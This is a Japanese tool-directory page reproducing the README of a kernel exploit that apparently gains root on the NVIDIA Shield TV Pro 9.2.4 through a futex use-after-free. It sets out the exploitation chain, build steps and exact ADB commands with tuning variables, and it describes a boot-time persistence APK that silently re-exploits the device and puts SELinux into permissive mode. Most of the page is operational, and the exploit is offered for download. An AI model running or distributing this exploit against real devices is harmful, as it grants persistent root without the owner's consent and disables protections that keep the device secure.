Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
GhostLock-NVIDIA-Shield-9.2.4 — 検証済みのGhostLock CVE-2026-43499ポート、NVIDIA Shield TV Pro mdarcy 9.2.4向け | Kitploit
ツール/GitHubGitHub/cyberbalsa/ghostlock-nvidia-shield-9.2.4
Androidセキュリティ特権昇格エクスプロイトフレームワーク永続化メカニズムエクスプロイトモバイルセキュリティペイロード開発バイナリエクスプロイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
cyberbalsa/ghostlock-nvidia-shield-9.2.4

GhostLock-NVIDIA-Shield-9.2.4

検証済みのGhostLock CVE-2026-43499ポート、NVIDIA Shield TV Pro mdarcy 9.2.4向け

リポジトリを見る
115時間9分前未レビュー

NVIDIA Shield TV Pro 9.2.4 向け GhostLock

2019年モデルのNVIDIA Shield TV Pro(mdarcy)でShield Experience 9.2.4を実行している環境向けに検証済みの、GhostLock futex PI use-after-free(CVE-2026-43499)のarm64移植版です。このペイロードは稼働中のADBデーモンの資格情報を変更するため、ブートローダーのアンロック、ユーザーデータのワイプ、suのインストール、検証済みパーティションの変更なしで、新しいADBシェルがUID 0になります。

これは特定ビルド向けのカーネルエクスプロイトであり、認可されたセキュリティ研究を目的としています。 不一致やレースの失敗はカーネルパニックを引き起こす可能性があります。他のフィンガープリント、カーネル、デバイス、ハードウェアリビジョンでは実行しないでください。

検証済みターゲット

フィールド必須値
製品NVIDIA Shield TV Pro 2019、mdarcy
フィンガープリントNVIDIA/mdarcy/mdarcy:11/RQ1A.210105.003/7825230_4387.0822:user/release-keys
カーネル4.9.141-tegra-gb6e5605a
Androidパッチレベル2026-01-05
カーネルベース0xffffff8008080000(オフセット無効)

この移植版は、Verified Bootがグリーンでdm-verityが強制されているロック済みデバイスで検証されました。エクスプロイトは稼働中のカーネル状態のみを変更するため、これらのメカニズムはそのまま維持されます。

結果と持続性

実行が成功すると、新しい接続ではadbdとその子シェルの両方でUID/GID 0が報告され、ケーパビリティ37までの全ケーパビリティ、seccomp無効、SELinux permissiveが適用されます。root権限はADBクライアントの切断後も維持されますが、adbdの再起動やデバイスの再起動だけでは維持されません。

検証済みパーティションを変更せずに実用的な再起動後の持続性を実現するため、リポジトリにはuserdata APKが含まれています。その非エクスポートBOOT_COMPLETEDレシーバーは短命のフォアグラウンドサービスを起動し、このサービスが非特権アプリUIDからブートごとにハッシュ固定されたエクスプロイトを1回実行し、ランナーが終了すると停止します。インストール後は外部ホストは不要です。リカバリのフォールバックとして外部Podmanウォッチドッグも利用可能です。persistence/README.mdとwatchdog/README.mdを参照してください。

これは自律的な再エクスプロイトであり、静的ファームウェアパッチではありません。毎回のブートでadbdがまだ標準の資格情報を持つ短い間隔があります。Androidが初期化する前にadbdをrootとして起動させるには、検証済みブートチェーンを変更する必要があり、これはロック済み・ワイプなしの設計の範囲外です。

エクスプロイトチェーン

  1. 脆弱なfutex PIロールバックパスをトリガーし、カーネルスタック上に古いrt_mutex_waiterを保持します。
  2. 再利用されたスタックをMCAST_BLOCK_SOURCEでスタンプし、rt-mutexツリー操作をリダイレクトします。
  3. 解放されたorder-2のmm_structスラブページを整形されたskbペイロードで再利用します。
  4. ashmem_misc.fopsをレガシーconfigfs読み取り/書き込みハンドラによってバックアップされた偽テーブルにリダイレクトします。
  5. タスクリストを走査し、要求されたadbd PIDを特定し、その完全な資格情報オブジェクトを検証します。
  6. ID、securebits、ケーパビリティワードに対して1回の境界付き書き込みを実行し、SELinuxをpermissiveに設定してから、ashmem操作とブートIDポインタを復元します。

継承されたパイプバッファ物理読み取り/書き込みステージは使用されません。詳細なターゲット観察結果と検証済みオフセットはPORT_STATUS.mdにあります。

ビルド

コンパイラはAndroid NDK r29(aarch64-linux-android30-clang)です。インストール済みのLinux NDKで直接ビルドします:

root@kitploit:~
cd exploit
make NDK=/opt/android-ndk-r29

または、提供されているPodmanイメージをビルドします。このイメージは公式のr29 Linuxアーカイブをダウンロードし、展開前に公開されているSHA-1をチェックします:

root@kitploit:~
podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
  -v "$PWD:/src:Z" \
  -w /src/exploit \
  ghostlock-android:ndk-r29 make -B

出力:

root@kitploit:~
exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761

Shieldビルドは、参照プロジェクトに組み込まれているsuデーモンと壁紙ペイロードを意図的に除外しています。

実行

認可されたネットワークADBで接続し、リリースアセットまたはローカルビルドをプッシュしてから、ADBシェルに入ります:

root@kitploit:~
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
  exploit/build/preload-mdarcy-9.2.4.so \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell

そのデバイスシェル内で以下を実行します:

root@kitploit:~
GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true

切断して検証用に新しいトランスポートを開きます:

root@kitploit:~
adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
  'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'

ペイロードは、GHOSTLOCK_FORCE_ROOT_TRIGGER=1が意図的に指定されない限り、すでにUID 0のADBシェルからの再トリガーを拒否します。強制しないでください。特権スケジューリングパスは異なるPI動作を持ち、パニックを引き起こす可能性があります。

デバイス上の持続性

署名済みリリースAPKをpersistence/app/build/ghostlock-boot-mdarcy-9.2.4.apkにダウンロードし、認可されたPowerShell ADBホストからインストールして有効化します:

root@kitploit:~
./persistence/install.ps1 `
  -Target SHIELD_ADDRESS:5555 `
  -AdbPath C:/path/to/platform-tools/adb.exe

インストーラーはuserdataのみを変更し、再起動は行いません。次のBOOT_COMPLETEDで、アプリは正確なフィンガープリント、カーネル、埋め込みペイロードのハッシュを検証し、試行を記録して、通常のアプリUIDからGhostLockを呼び出します。ファイルロック、ブートごとに1回の試行状態、および15分間のクロスブートクールダウンにより、重複または再起動ループの試行を防ぎます。suバイナリはインストールされません。Androidはネイティブランナーがアクティブな間のみ、優先度の低いRestoring ADB root通知を表示します。プロセスが終了するとウェイターが通知を削除します。ビルド、署名、ログ、検証、リカバリ、アンインストールの詳細についてはpersistence/README.mdを参照してください。

最終APKは外部ウォッチドッグを停止した状態で検証されました:ブートカウント134で初めて標準のUID-2000/enforcingのadbdが公開され、次の新しいトランスポートはUID/GID 0で完全な0x3fffffffffケーパビリティマスク、seccomp無効、SELinux permissiveでした。サービスと通知は自己クリーンアップされていました。

ログとリカバリ

手動実行の診断情報は/sdcard/Download/log_<timestamp>.txtに同期的に書き込まれ、失敗時は/data/local/tmpにフォールバックします。ブートアプリはランナーとペイロードの出力をプライベートなfiles/boot.logにリダイレクトし、run-as com.cyberbalsa.ghostlockbootで読み取れます。レースがカーネルをパニックさせた場合、事前トリガー状態によりそのブートカウントでの別の試行が防止され、15分間のクールダウンが再起動をまたいで引き継がれます。

リポジトリマップ

  • exploit/src/:トリガー、再利用、任意読み取り/書き込み、境界付きadbd資格情報パッチ。
  • exploit/targets/shield-mdarcy-9.2.4/:正確なビルド固有ターゲットレイアウト。
  • analysis/:カーネルシンボルとレイアウト抽出ヘルパー。
  • persistence/:デバイス上のブートAPK、ネイティブランナー、インストーラー。
  • watchdog/:ハッシュ固定されたホスト側リカバリフォールバック。
  • report.md:出典保持のための元のOPPO参照移植分析。

クレジットとライセンス

この移植版は、NebuSecが公開したGhostLock研究およびエクスプロイトフレームワークと、yijiacloudによるOPPO PCKM00参照移植版に由来します。KernelSnitchはその上流の条件に基づいて組み込まれています。

  • https://github.com/NebuSec/CyberMeowfia
  • https://github.com/yijiacloud/GhostLock-OPPO-PCKM00
  • https://github.com/torvalds/linux/commit/3bfdc63936dd4773109b7b8c280c0f3b5ae7d349

Apache-2.0;LICENSEを参照してください。

ツールをダウンロード